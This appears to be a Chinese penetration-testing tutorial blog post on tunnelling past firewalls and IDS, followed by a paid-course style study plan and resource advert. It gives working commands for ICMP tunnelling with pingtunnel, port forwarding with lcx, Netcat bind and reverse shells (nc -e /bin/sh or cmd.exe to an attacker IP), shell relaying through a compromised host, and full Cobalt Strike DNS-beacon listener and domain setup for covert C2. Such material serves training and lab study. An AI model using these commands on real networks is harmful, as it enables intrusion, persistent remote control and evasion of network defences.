必备知识点;
代理和隧道技术的区别?
代理主要解决的是网络访问问题,隧道是对过滤的绕过,
隧道技术是为了解决什么
解决被防火墙一些设备,ids(入侵检测系统)进行拦截的东西进行突破,举个栗子;在实战情况可能会cs和msf没有办法上线或者得到回显,出口数据被监控,在拖数据的时候会被拦截,网络通信存在问题等
;
隧道技术前期必备的条件?
应用场景四已经获得了一些控制权,但是不能对肉鸡进行信息收集等一些执行功能;比如利用shior反序列化得到了一些权限,但是漏洞上有ids,把后门放到了对方服务器但是cs上不了线,
这个时候就是隧道技术的应用场景,
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截,比如你之前是用tcp协议,通过隧道技术可以把tcp协议转换成其他的协议封装出去;防火墙会对一些协议进行流量监控,有一些协议放行,我们就伪装成他放行的协议进行绕过;
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统(ids)来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,防火墙会有拦截什么协议和端口的设置,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术有以下三种:
网络层:IPv6隧道、ICMP隧道
传输层:TCP隧道、UDP隧道、常规端口转发
应用层:SSH隧道、HTTP/S隧道、DNS隧道
案例一网络传输应用层检测连通性-检测
探针他的协议是否支持,测试这个协议可不可以用。
在肉鸡没办法上线,通信有异常的时候,就要去绕过他,要绕过他肯定要选择一个隧道,隧道的协议有很多,我们确定对方支持什么样的隧道,比如我们想做icmp隧道,我们就要去检测,他支不支持icmp隧道的开启,
1.TCP协议
用“瑞士军刀”netcat,执行nc命令:
nc <端口>
2.HTTP协议
用curl工具,执行:
curl <IP地址:端口>
如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
3.ICMP协议
用ping命令,执行:
ping <IP地址/域名>
4.DNS协议
检测DNS连通性常用的命令是nslookup和dig
nslookup是windows自带的DNS探测命令
dig是linux系统自带的DNS探测命令
再用隧道之前,要先探针一下,对应的隧道协议,对方是否是支持的,
案例二网络层ICMP隧道ptunnel使用-检测,利用
拓扑图
目的;通过web服务器,实现对dc端的控制,但是dc上面有防火墙和ids防护
现在已经得到了dc上面的账号密码,但是现在我不可能用本机连接到dc端的,
利用工具;
老版本介绍:https://github.com/f1vefour/ptunnel(需自行编译),不推荐已经不更新了
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发版)
pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的感觉,
-p 表示连接icmp隧道另一端的机器IP(即目标服务器)
-lp 表示需要监听的本地tcp端口
-da 指定需要转发的机器的IP(即目标内网某一机器的内网IP)
-dp 指定需要转发的机器的端口(即目标内网某一机器的内网端口)
-x 设置连接的密码
利用之前先判断一些icmp协议可不可以用,判断一下隧道可不可行,通过ping命令判断完可写,
首先现在web肉鸡上执行一条命令
./ptunnel -x xiaodi xiaodi就是设置的密码 在web肉鸡上把工具启动
在kali上运行
./ptunnel
-p 192.168.76.150(web肉鸡的ip) -lp 1080(kali1 080端口) -da 192.168.33.33(靶机ip) -dp 3389(靶机3389端口) -x xiaodi(链接密码) ``#转发的3389请求数据给本地1080
这句代码的意思;请求web肉鸡,成功之后监听自己的1080端口,讲33的网段的3389数据都传输到本机1080端口,就是借助的web肉鸡请求的靶机,
原理;kali能连接web肉鸡,web肉鸡作为跳板机,借助web肉鸡的33网段,去链接dc端,dc端上的数据就通过3389端口给到kali的1080端口
最后我就直接通过,在kali执行命令
rdesktop 127.0.0.1 1080 通过一个远程终端连接kali的1080端口
这样就建立隧道连接了,我们去看一下靶机的3389端口![](https://img-
blog.csdnimg.cn/direct/767d7d3ad5e14c5297fb87db582f5597.png)
在被web肉鸡链接,但web肉鸡上面又没有上面操作,最后的请求来源还是在kali上
远程桌面登录成功,走的还是icmp协议,并不是靶机3389的协议,和之前走3389远程终端是一模一样的,但走的协议不一样,这就是隧道
他是将相关的数据包,通过防火墙所允许的类型,协议来进行封装。
案例三传输层转发隧道Portmap使用-检测,利用
传输层:TCP隧道、UDP隧道、常规端口转发;现在讲这个
Windows:lcx
Linux:portmap
常用的两款工具
下载:https://pan.baidu.com/s/1EoGZYVejTrBHBAvhndHLuQ , 提取码:fn9o(github上的没有了)
拓扑图;现在条件;本机可以和web肉鸡联通,我现在要攻击sql靶机,这个原理可以说就是端口转发
直接输入命令进行
lcx -slave [web肉鸡IP] 6666 127.0.0.1 3389
这条命令就是将本机的3389端口数据给到肉鸡的6666端口,
在web肉鸡上
lcx -listen [本机端口] [攻击机端口]
lcx -listen 6666 7777
监听自己的6666端口,给到7777端口
然后用kali监听web肉鸡的7777端口
rdesktop web肉鸡ip 转发端口7777
然后就远程登录界面就出来了
简单来说,就是靶机把自己流量给出去,给到肉鸡的端口,然后肉鸡再把端口给另一个本机可以监听的端口,然后我们在监听可以监听的端口数据,就可以了
案例四传输层转发隧道Netcat使用-检测,利用,功能
Netcat这个是干嘛用的, 它上面有一些功能
1.双向连接反弹shell
正向,我连接肉鸡
肉鸡;
nc -ldp 1234 -e /bin/sh linux模式
nc -ldp 1234 -e c:\windows\system32\cmd.exe windwos模式# nc把自身的cmd会话反弹给1234端口
攻击主机;
nc 192.168.1.81 1234
本机就直接链肉鸡的1234端口
执行命令返回的肉鸡的ip
注意要确保Netcat是最新版,因为旧版不支持 -e 这个参数
反向:受害主机链接我
攻击
nc -lvp 1234 # 监听1234端口
受害主动连接
nc 攻击主机 IP 1234 -e /bin/sh linux肉鸡
nc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe windwos肉鸡 #
nc把cmd会话反弹给攻击机的1234端口
接受到了cmd会话
肉鸡能找到我就用反向,肉鸡找不到我就用正向,我去找肉鸡
2. 多向连接反弹 shell - 配合转发(这个案例比较鸡肋)
配合之前的端口转发工具Portmap,刚刚的案例是利用Portmap连接的3389端口,我这个时候可以不连接3389端口,而是把会话反弹回来;有权限之后想操作肉鸡,利用端口转发实现
web肉鸡上运行
web肉鸡监听本地的 2222 转发到3333上
god\Webserver:Lcx.exe -listen 2222 3333
![](https://img-
blog.csdnimg.cn/direct/5abe70bd9bbd4da7b3a04e18ededa493.png)
然后还有一个sql靶机,sql只有3的网段,本机链接不上她,接下来就实现kali控制sql靶机
nc 192.168.22.141 2222 -e c:\windows\system32\cmd.exe # nc把cmd会话反弹给跳板机的 2222
端口
sql靶机就把cmd发送给了web肉鸡的2222端口
然后卡里就可以链接web肉鸡的,监听他的3333端口
nc -v 192.168.1.81 3333
实现控制了sql靶机
nc走的是tcp协议,如果对方没有过滤tcp协议,就可以通过nc实现控制主机,
3.相关netcat主要功能测试
指纹服务:nc -nv 192.168.76.143
端口扫描:nc -v -z 192.168.76.143 1-100
端口监听:nc -lvp xxxx
文件传输:nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
反弹Shell:见上
应用层DNS隧道配合CS上线-检测,利用,说明
这个层面在实战中经常会用到,
应用层:SSH隧道、HTTP/S隧道、DNS隧道
利用dns隧道,实现cs的上线,
今天的隧道技术是把相关的数据传输换了一个隧道传输,
连接上cs
这个监听器就是隧道的意思,假如我们生成了一个http后门,对方是流量监控的,防火墙检测http,通过http协议传输的时候要受到监控,现在再用http生成后门上线肯定有问题,因为防火墙已经封锁http了,
老师监控这里就已经有两个后门了,http的后门就要通过http协议和靶机相互通信
dns协议就通过dns相互通讯
有时候用cs生成后门上不了线的原因,就有一个这样的情况,防火墙有检测
现在就走dns隧道
当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀,把数据通过dns给出去,
1.云主机Teamserver配置端口53启用-udp
2. 买一个域名修改解析记录如下:
A 记录->cs 主机名->CS 服务器 IP
就相当于我访问我本机搭建的域名的时候就访问cs的ip
NS 记录->ns1 主机名->上个 A 记录地址
最后到本机域名又是到cs的ip
NS 记录->ns2 主机名->上个 A 记录地址
3.配置DNS监听器内容如下:
ns1.xiaodi8.com
ns2.xiaodi8.com
cs.xiaodi8.com
监听启动之后
然后就是生成后门
配置方法:
“Listeners”“Add”,“Payload”选“Beacon DNS”,“DNS
Hosts”填入“ns1.xiaodi8.com”和“ns2.xiaodi8.com”,“DNS
Host(Stager)”填“cs.xiaodi8.com”
然后选择后门的的是dns协议
然后把生成的后门上传到肉鸡,开始执行
这时候主机是黑框的,显示unkown
这就是dns上线,dns上线有个问题就是速度慢,他传输数据库有一个响应的过程,然后还要再执行几条命令才能实现控制,
命令:
checkin
mode dns-txt
等待他回显,![](https://img-
blog.csdnimg.cn/direct/c8e0df1fa694432c87561f475e9804d6.png)
成功上线,
总结;先测试对方接受什么协议,然后把传输的数据包封装成她能接受的数据包的协议,解决数据走不通某个协议的问题。
fa
cai
接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。
![](https://img-blog.csdnimg.cn/img_convert/07fa48fc592a986d8df54230db0e251e.jpeg)